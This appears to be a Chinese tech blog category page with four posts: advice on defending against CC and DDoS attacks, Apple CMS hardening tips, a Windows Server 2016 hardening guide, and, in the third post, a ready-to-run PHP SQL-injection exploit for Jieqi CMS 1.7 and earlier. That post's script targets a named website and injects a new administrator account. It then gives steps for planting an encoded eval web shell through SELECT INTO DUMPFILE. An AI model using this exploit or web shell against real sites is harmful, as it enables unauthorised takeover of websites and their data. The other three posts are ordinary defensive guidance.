分类: 安全防护

  • 如何防御CC攻击和DDos攻击[教学篇]

    如何防御CC攻击和DDos攻击[教学篇]

    随着互联网的发展给我们带来极大的便利,但是同时也带来一定的安全威胁,网络恶意攻击逐渐增多,很多网站饱受困扰,而其中最为常见的恶意攻击就是cc以及DDos攻击。网站遭受攻击后,会直接影响到用户访问和蜘蛛对网站的爬取,用户访问量,甚至网站的收录、权重都会受到影响。

    站长网站被攻击了怎么办?今天带大家科谱一下什么叫CC攻击或是DDos攻击,以及如何做好防御。

    1 CC攻击、DDos攻击是什么

    DDOS是英文Distributed Denial of Service的缩写,意即”分布式拒绝服务”,DDOS的中文名叫分布式拒绝服务攻击,俗称洪水攻击。DoS的攻击方式有很多种,最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应。

    CC主要是用来攻击页面的。大家都有这样的经历,就是在访问论坛时,如果这个论坛比较大,访问的人比较多,打开页面的速度会比较慢,访问的人越多,论坛的页面越多,数据库压力就越大,被访问的频率也越高,占用的系统资源也就相当可观。

    2 CC攻击和DD攻击的差别

    用专业术语而言便是,一个是WEB传输层拒绝服务攻击(DDoS),一个是WEB网络层拒绝服务攻击(CC),传输层便是运用肉食鸡的总流量去攻击总体目标网址的服务器,对于较为源头的物品去攻击,服务器偏瘫了,那么运作在服务器上的网址毫无疑问也不可以一切正常浏览了。而网络层便是大家客户看获得的物品,就例如网页页面,CC攻击便是对于网页页面来攻击的,CC攻击自身是一切正常请求,网址动态性网页页面的一切正常请求也会和数据库查询开展互动的,当这类”一切正常请求”做到一种水平的情况下,服务器便会回应不回来,进而奔溃。

    表现:被CC和DD后最直接的表现是网站页面打不开,

    CC攻击的是服务器资源,攻击者控制某些主机不停地发大量数据包给对方服务器造成服务器资源耗尽,服务器的CPU和内存资源会被占满,而长时间硬件的CPU高负载,等于CPU一直在最大功耗下工作,所以哪怕不考虑服务器业务系统受影响,从硬件层面来看,都很危险,搞不好散热器都蹦掉

    而DDoS攻击打的是网站的服务器,是对IP的攻击,其实就是黑客对我们网站web服务器发送大流量请求来堵塞我们的80端口,导致用户无法正常访问,被DD后一般服务器的带宽会飙的非常高,结果就是主机商进行黑洞引流,自损IP。

    3 被攻击了怎么办

    首先基于网站监控情况,确认是被CC还是被DD了。

    图片[1] - 如何防御CC攻击和DDos攻击 - 长江技术博客

    如果是DDOS攻击,建议直接换服务器或者联系服务器商换IP地址,因为是针对IP地址的攻击,您把源服务器怎么做防御都是无效的,除非升级高防(一般有钱人的方式),换上新IP套上CDN隐藏IP,这样一般的DDOS就能防住。

    如果确定是CC攻击,也是建议使用CDN加速,国外推荐CF CDN也是免费的哦,打死不暴露您源IP的良心CDN商家。你也可以使用宝塔里面的Nignx防火墙插件,增强模式下一般的CC都能防住。(注意,宝塔nginx防火墙不要长时间开着,实现测试中发现会影响蜘蛛对网站的爬取

    图片[2] - 如何防御CC攻击和DDos攻击 - 长江技术博客
    宝塔防火墙设置

    4 如何防御CC、DD攻击

    为了避免被攻击,建议在网站上线前就做好相关防御措施:

    • 新网站上线前必须做CDN,防止服务器源IP暴露
    • 关闭不需要的端口
    • 禁Ping
    • 限制同时打开的Syn半连接数目(设置运行环境)
    • 缩短Syn半连接的time out 时间
    • windows服务器漏洞太多尽量别“裸奔”
    • 及时更新系统补丁防止被鸡肉
  • 网站安全设置-苹果CMS安全设置教程

    网站安全设置-苹果CMS安全设置教程

    网站安全是网站搭建运营过程中非常重要的一部分,需要对服务器、网站进行一定的安全设置,减少黑客入侵的机会。若网站遭到DDOS、黑客攻击、被挂马跳转等,数据会被盗窃或者毁坏,会影响到收录和权重。本文记录苹果CMS做站过程中遇到的或了解到一些场景,针对性的做好安全防护。

    图片[1] - 网站安全设置-苹果CMS安全设置教程 - 长江博客

    1)苹果CMS程序、模板后门

    模板程序,建议从正规途径下载(很多资源站下载的模板程序 最好站长测试过),模板程序带后门,这种情况是最常见的。

    模板使用前,可以尝试使用工具“D盾”扫描下。

    2)服务器密码、程序后台登录密码、数据库密码

    建议使用复杂密码、并且定期修改。

    在设置网站密码时,尽量设置复杂些,现在密码一般有10个以上字符,且由数字和符号以及大小写字母组合而成,网站密码不要和电子邮箱或社交媒体账户相同。

    3)使用了一些插件带有后门

    不建议使用任何插件,没有百分百可靠的,之前有用过“萌芽”采集插件,网站出现跳转,删除后立即恢复正常。

    4)权限设置

    5)使用宝塔防篡改工具

    宝塔安装“网站防篡改”程序,避免网站程序被篡改,安装之后程序、模板就不会被篡改掉。(注意在修改苹果CMS后台配置过程中,需先关闭防篡改,不然修改配置保存不生效)

    图片[2] - 网站安全设置-苹果CMS安全设置教程 - 长江博客

    6)网站路径下不要放置任何压缩包

    网站根路径下不要放置任何压缩包,有些站长会将网站压缩备份在网站根路径下面,会被别人扫描出来。

    7)苹果cms路径下的user文件夹

    检查/upload/user文件夹下是否存在一些异常文件,用户可以上传头像到这个文件夹进行渗透,懂渗透可以加代码提权篡改。

    8)nginx配置

    小编之前遇到过,网站被挂马,检查发现网站nginx配置文件中被挂马了

    图片[3] - 网站安全设置-苹果CMS安全设置教程 - 长江博客
    网站nginx配置文件

    9)nginx模块

    之前有遇到一种情况,服务器上所有网站都会偶发性的跳转,网站程序初步排查后没有问题,怀疑是服务器遭受ARP攻击或者服务器环境出了问题,最后把nginx版本从1.18升级到1.21后,跳转就没有了,应该是nginx的哪个模块出了问题。

    总之,保护网站的安全,要做的事情还有很多,如访问安全网站、不明来历的链接不要点击、租用正规、安全性高的主机空间等,这里就不详细叙述了。对于网站管理员来说,能做的事情一定要及时去做,千万不要嫌麻烦,希望广大站长能通过以上几点或其它方式来有效防护好网站的安全。

  • 杰奇1.7及以前版本的注入脚本

    使用此脚本会直接在目标网站的数据库中插入一个新的管理员,

    username = b1u3b0y
    password = lanhai

    本代码仅为实验用途,请勿用于非法用途。

    另:杰奇1.7官方版已经修复此漏洞。

    <?php
    error_reporting(0);
    set_time_limit(0);
    ini_set("default_socket_timeout", 5);
    
    $argv = array("","www.slzww.com","80","http://www.slzww.com/");
    
    function http_send($host, $packet, $port){
            $sock = fsockopen($host, $port);
            while (!$sock){
                    print "\n[-] No response from {$host}:$port Trying again...";
                    $sock = fsockopen($host, $port);
            }
            fputs($sock, $packet);
            while (!feof($sock)) $resp .= fread($sock, 1024);
            fclose($sock);
            print $resp;
            return $resp;
    }
    
    print_r('
    +---------------------------------------------------------------------------+
    |   Jieqi CMS Add Manager [version <=1.7]                                        |
    +---------------------------------------------------------------------------+
    +---------------------------------------------------------------------------+
    ');
    
    
    
    $host = $argv[1];
    $port = $argv[2];
    $path = $argv[3];
    $payload  = "username=woainimeimei&password=imnothack&repassword=imnothack&email=woainimeimei@163.COM&sex=9,'woainimeimei@163.COM','',0,0,'','','','','','','','',1332592733,0,0,0,1,0,0,0,0,10,10,0,0,0,0,0,0,0,0),(0, 0, 'niaiwome', 'niaiwome', '2eb429c676681a7bf5ae8702aa768363', 2, 1332592733, 'H', 9, 'justjsp@163.com', '', 0, 0, '', '', '', '', '', '', '', '', 1332592733, 0, 0, 0, 1, 0, 0, 0, 0, 10, 10, 0, 0, 0,0, 0, 0, 0, 0)#&qq=&url=&action=newuser&submit=%CC%E1+%BD%BB\r\n";
    $packet = "POST {$path}register.php?do=submit HTTP/1.1\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $packet .= "Content-Length: ".strlen($payload)."\r\n";
    $packet .= "Cookie: jieqiVisitInfo=jieqiUserLogin%3D1332488363%2CjieqiUserId%3D1; PHPSESSID=ho4u03ebnlq6cl6vlg1t2kbjg2";
    $packet .= "Connection: close\r\n\r\n";
    $packet .= $payload;
    
    http_send($host, $packet, $port);
    
    print_r('
    +---------------------------------------------------------------------------+
    [+] Add manager successful?  Please check it yourself!
    [ ] Default URL: http://localhost/admin
    [ ] username = b1u3b0y
    [ ] password = lanhai
    +---------------------------------------------------------------------------+
    [+] Get Webshell (mysql用户需要file_priv权限)
    [ ] [系统工具] -> [系统信息]  (Get Path)
    [ ] [数据维护] -> [数据库升级] 
    [ ] 执行 [ select concat(char(60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,63,62)) into dumpfile \'C:\\\\wwwroot\\\\1.php\' ]
    [ ] http://localhost/1.php (password:cmd)
    +---------------------------------------------------------------------------+
    ');
    ?>
  • Windows 2016 服务器安全设置

    Windows 2016 服务器安全设置

    系统更新配置

    更换Windows更新服务器

    如果你觉得默认的Windows更新服务器比较慢,或者如果选择了阿里云或腾讯云服务器的话,可以更换Windows服务器。

    右键开始菜单图标,选择“运行”,然后输入gpedit.msc,依次选择 “计算机配置” – “管理模板” – “Windows 组件” – “Windows 更新”,双击“指定 Intranet Microsoft 更新服务位置”:

    202010041336571

    选中 已启用,然后设置检测更新的Intranet更新服务和统计服务器,如果是阿里云经典网络可以设置成 http://windowsupdate.aliyun-inc.com,阿里云VPC网络可以设置成 http://update.cloud.aliyuncs.com,腾讯云可以设置成 http://windowsupdate.tencentyun.com,备用下载服务器设置成 http://wsus.neu.edu.cn。

    202010041336572

    启用并允许自动更新

    双击“允许自动更新立即安装”,选择“已启用”启用自动更新。然后双击“配置自动更新”,选中“已启用”并配置成“自动下载并通知安装”,如下图:

    202010041336573

    设置完上述两步之后,需要以管理员角色执行下面的命令:

    gpupdate /force

    解决执行自动更新时出现的 0x8024401f 和 0x8024401c 错误
    完成上述操作之后,选择开始菜单-设置,执行检查更新,检查一下是否正常。
    如果出现 0x8024401f 或 0x8024401c 错误的话,以管理员身份执行下面的命令:

    net stop wuauserv
    reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate
    net start wuauserv

    系统账号安全

    设置账号安全策略

    在“运行”中执行secpol.msc命令,打开“本地安全策略”,进行如下设置:
    (1)“账户设置”-“密码策略”
    设置合适的密码复杂度,增强密码的强度。参考设置如下:

    202010041336574

    (2)“账户设置”-“账户锁定策略”
    设置账号密码出错之后的锁定时间,需要先设置“账户锁定阀值”才能设置其他两项,参考设置如下:

    202010041336575

    (3)“本地策略”-“安全选项”
    将“交互式登录: 不显示最后的用户名”设置为“启用”状态。

    检查并优化账号

    将账户安全设置完成之后,再对系统的账号进行优化。在“运行”中执行compmgmt.msc命令,打开“计算机管理”,然后在“系统工具”-“本地用户和组”-“用户”中查看是否有不用的账户,将不用的账户删除或停用。除此之外,还要在命令行中使用 net user 命令查看一遍有没有多余的账号(有的账号会在计算机管理中隐藏),可以使用 net user <username> /del 命令删除对应的账号。

    将默认的管理员用户名 Administrator 进行重命名,并且建议重新设置新的管理员密码。

    禁止系统自动登录

    系统休眠重新激活之后,需要密码才能登录系统。在“运行”中输入 control userpasswords2,打开“用户账户”,然后启用“要是用本机,用户必须输入用户名和密码”的选项。

    202010041336576

    远程访问安全

    更改远程终端默认3389端口

    将默认的远程终端端口3389修改成其他的端口。运行regedit打开注册表程序,需要修改注册表的两个地方:

    HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\Wds\repwd\Tds\tcp
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp

    将上述两个地方右侧 PortNumber的值修改成新的端口号(建议将基数设置为十进制):

    202010041336587

    设置完成之后关闭注册表,然后重启服务器之后即可生效。如果设置防火墙的话,注意新端口加入防火墙的白名单中。

    将远程关机、本地关机和用户权限分配只授权给Administrtors组

    在“运行”中执行secpol.msc,打开“本地安全策略”窗口,依次打开“本地策略”-“用户权限分配”。
    (1)双击右侧的“从远程系统强制关机”,只保留“Administrators组”并将其他用户组删除;
    (2)双击右侧的“关闭系统”,只保留“Administrators组”并将其他用户组删除;
    (3)双击右侧的“取得文件或其它对象的所有权”,只保留“Administrators组”并将其他用户组删除;

    将远程登录账户设置为具体的管理员账号

    指定特定的管理员账号而不是Administrtors组,将增强登录系统的安全性,就算通过漏洞创建了Administrtors组的账号,也无法登录系统。

    在“运行”中执行secpol.msc,打开“本地安全策略”窗口,依次打开“本地策略”-“用户权限分配”。双击右侧的“从网络访问此计算机”,将所有的用户组删除,然后点击下面的“添加用户或组…”按钮,点击“高级”按钮,然后点击“立即查询”按钮,从查询的结果中选择管理员的账号,然后依次确定保存;

    系统网络安全

    关闭不需要的服务

    在“运行”中执行 services.msc 命令,打开“服务”,根据情况建议将以下服务改为禁用:

    Application Layer Gateway Service(为应用程序级协议插件提供支持并启用网络/协议连接)
    Background Intelligent Transfer Service(利用空闲的网络带宽在后台传输文件。如果服务被停用,例如Windows Update 和 MSN Explorer的功能将无法自动下载程序和其他信息)
    Computer Browser(维护网络上计算机的更新列表,并将列表提供给计算机指定浏览)
    DHCP Client
    Diagnostic Policy Service
    Distributed Link Tracking Client
    Distributed Transaction Coordinator
    DNS Client
    Print Spooler(管理所有本地和网络打印队列及控制所有打印工作)
    Remote Registry(使远程用户能修改此计算机上的注册表设置)
    Server(不使用文件共享可以关闭,关闭后再右键点某个磁盘选属性,“共享”这个页面就不存在了)
    Shell Hardware Detection
    TCP/IP NetBIOS Helper(提供 TCP/IP (NetBT) 服务上的NetBIOS 和网络上客户端的NetBIOS 名称解析的支持,从而使用户能够共享文件、打印和登录到网络)
    Task Scheduler(使用户能在此计算机上配置和计划自动任务)
    Windows Remote Management(47001端口,Windows远程管理服务,用于配合IIS管理硬件,一般用不到)
    Workstation(创建和维护到远程服务的客户端网络连接。如果服务停止,这些连接将不可用)

    关闭“同步主机_xxx”服务

    Windows 2016中有一个“同步主机_xxx”的服务,后面的xxx是一个数字,每个服务器不同。需要手动关闭,操作如下:
    首先在“运行”中执行regedit打开注册表,然后在 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services 下面找到 OneSyncSvc、OneSyncSvc_xxx、UserDataSvc和UserDataSvc_xxx四个项,依次将其中的 start 值修改为4,退出注册表然后重启服务器即可。

    关闭IPC共享

    如果在上面停止并禁用 Server服务的话就不会出现IPC共享了,执行 net share 命令之后会提示“没有启动Server服务”,否则会类似C$、D$等默认共享,可以使用 net share C$ /del 命令进行删除。

    在注册表中找到 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters,在右侧空白处右键,依次选择“新建”-“DWORD项”,名称设置为AutoShareServer,键值设置为0。

    202010041336588

    关闭139端口(Netbios服务)、445端口、5355端口(LLMNR)

    (1)关闭139端口
    依次打开“控制面板”-“查看网络状态和任务”,然后点击左侧的“更改适配器设置”,在网络连接中双击激活的网卡,点击“属性”按钮,双击“Internet 协议版本 4(TCP/IPv4)”,在打开的窗口中点击右下角的“高级”按钮,然后选择上面的“WINS”标签,在“NetBIOS设置”中选择“禁用 TCP/IP上的NetBIOS”,最后依次“确定”。

    202010041336589

    关闭此功能,你服务器上所有共享服务功能都将关闭,别人在资源管理器中将看不到你的共享资源。这样也防止了信息的泄露。

    (2)关闭445端口

    445端口是netbios用来在局域网内解析机器名的服务端口,一般服务器不需要对LAN开放什么共享,所以可以关闭。打开注册表,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters位置,在右侧右键并依次选择“新建”-“Dword值”,名称设置为SMBDeviceEnabled,值设置为0。

    (3)关闭5355端口(LLMNR)

    LLMNR本地链路多播名称解析,也叫多播DNS,用于解析本地网段上的名称,可以通过组策略关闭将其关闭。打开“运行”,输入gpedit.msc打开“本地组策略编辑器”,依次选择“计算机配置”-“管理模板”-“网络”-“DNS客户端”,在右侧双击“关闭多播名称解析”项,然后设置为“已禁用”。

    2020100413365810

    网络访问限制

    在“运行”中执行 secpol.msc 打开“本地安全策略”,打开“安全设置”-“本地策略”-“安全选项”,设置下面的策略:

    网络访问: 不允许 SAM 帐户的匿名枚举:已启用
    网络访问: 不允许 SAM 帐户和共享的匿名枚举:已启用
    网络访问: 将 Everyone 权限应用于匿名用户:已禁用
    帐户: 使用空白密码的本地帐户只允许进行控制台登录:已启用

    设置完成之后,在命令行(管理员身份)中执行 gpupdate /force 使其立即生效。

    日志审计

    增强日志记录

    增大日志量大小,避免由于日志文件容量过小导致日志记录不全。在“运行”中执行eventvwr.msc命令,打开“事件查看器”窗口,打开“Windows 日志”文件,分别右键下面的“应用程序”、“安全”和“系统”项,选择“属性”,修改“日志最大大小”为 20480。

    2020100413365811-1

    增强审核

    对系统事件进行记录,在日后出现故障时用于排查审计。在“运行”中执行secpol.msc命令,打开“本地安全策略”窗口,依次选择“安全设置”-“本地策略”-“审核策略”,建议将里面的项目设置如下:

    审核策略更改:成功
    审核登录事件:成功,失败
    审核对象访问:成功
    审核进程跟踪:成功,失败
    审核目录服务访问:成功,失败
    审核系统事件:成功,失败
    审核帐户登录事件:成功,失败
    审核帐户管理:成功,失败

    上面的项目设置成功之后,在“运行”中执行 gpupdate /force 命令使设置立即生效。

    开启并设置防火墙

    如果使用了云服务器(如阿里云、腾讯云等),云服务商会提供一个防火墙工具,通常是放在路由级别的,使用起来更方便,如果误操作的话也不会将自己排除在服务器上,因此建议优先采用云服务商提供的防火墙。

    开启或关闭Windows防火墙

    打开“控制面板”,依次选择“系统和安全”-“Windows防火墙”,选择左侧的“启用或关闭Windows防火墙”,根据需要选择启用或关闭Windows防火墙。如果采用了云服务商提供的防火墙的话,建议将Windows防火墙关闭。PS:开启防火墙之前需要允许远程登录的端口访问,否则远程连接会中断!

    允许特定的端口访问

    这里以Windows防火墙为例进行说明(其实云服务商提供的防火墙规则是类似的),前提是防火墙是启用的。在“运行”中执行 WF.msc 打开“高级安全 Windows 防火墙”,点击左侧的“入站规则”,然后点击右侧的“新建规则…”打开“新建入站规则向导”窗口,选择“端口”然后点击“下一步”按钮;端口类型选择“TCP”,下面选择“特定本地端口”,里面输入设置的远程登录端口以及Web端口,如:80, 433, 3389,然后点击“下一步”按钮;选择“允许连接”,然后点击“下一步”按钮;选中所有的选项,然后点击“下一步”;最后输入一个规则的名称,比如“允许远程连接和Web服务”,最后点击“完成”保存。

    关闭ICMP(禁ping)

    按照上面的步骤打开“高级安全 Windows 防火墙”并选中左侧的“入站规则”,从默认的规则里面双击“文件和打印机共享(回显请求 – ICMPv4-In)”,在“常规”中选中“已启用”,并在“操作”中选中“阻止连接”,最后“确定”保存即可。

    2020100413365812

    其它安全设置

    设置屏保,使本地攻击者无法直接恢复桌面控制

    打开“控制面板”,依次进入“外观和个性化”-“个性化”-“屏幕保护程序”,选择某一个屏保,然后选中“在恢复时显示登录屏幕”,并将等待时间设置为10分钟。

    2020100413365813

    关闭Windows自动播放功能

    在“运行”中执行gpedit.msc命令,依次打开“计算机配置”-“挂你模板”-“所有设置”,双击“关闭自动播放”,然后选择“已启用”。

    禁用IPV6。看操作。

    在windows server 2008/2016操作系统下部署weblogic web application,部署完成后进行测试,发现测试页的地址使用的是隧道适配器的地址,而不是静态的ip地址,而且所在的网络并没有ipv6接入,因此决定将ipv6和隧道适配器禁用,操作如下:
    禁用ipv6很简单,进入 控制面板\网络和 Internet\网络和共享中心 单击面板右侧“更改适配器设置”进入网络连接界面,选择要设置的连接,右键选择属性,取消Internet 协议版本 6 (TCP/IPv6) 前面的选择框确定即可。

    要禁用隧道适配器需要更改注册表信息,操作如下:
    开始 -> 运行 – > 输入 Regedit 进入注册表编辑器
    定位到:
    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters]
    右键点击 Parameters,选择新建 -> DWORD (32-位)值
    命名值为 DisabledComponents,然后修改值为 ffffffff (16进制)
    重启后生效
    DisableComponents 值定义:
    0, 启用所有 IPv 6 组件,默认设置
    0xffffffff,禁用所有 IPv 6 组件, 除 IPv 6 环回接口
    0x20, 以前缀策略中使用 IPv 4 而不是 IPv 6
    0x10, 禁用本机 IPv 6 接口
    0x01, 禁用所有隧道 IPv 6 接口
    0x11, 禁用除用于 IPv 6 环回接口所有 IPv 6 接口

    OVER ! 重启下服务器吧

    技术员网小编补充

    其实很多情况下可以参考win2008 r2 服务器的安全设置。

    安装mcafee、安全狗、护卫神套件等。都有基本的安全设置,一键操作。但原理还是跟上面的一样,但自己手工操作的更利于个人技术的提升,第一次建议手工操作,然后再用工具检测一下。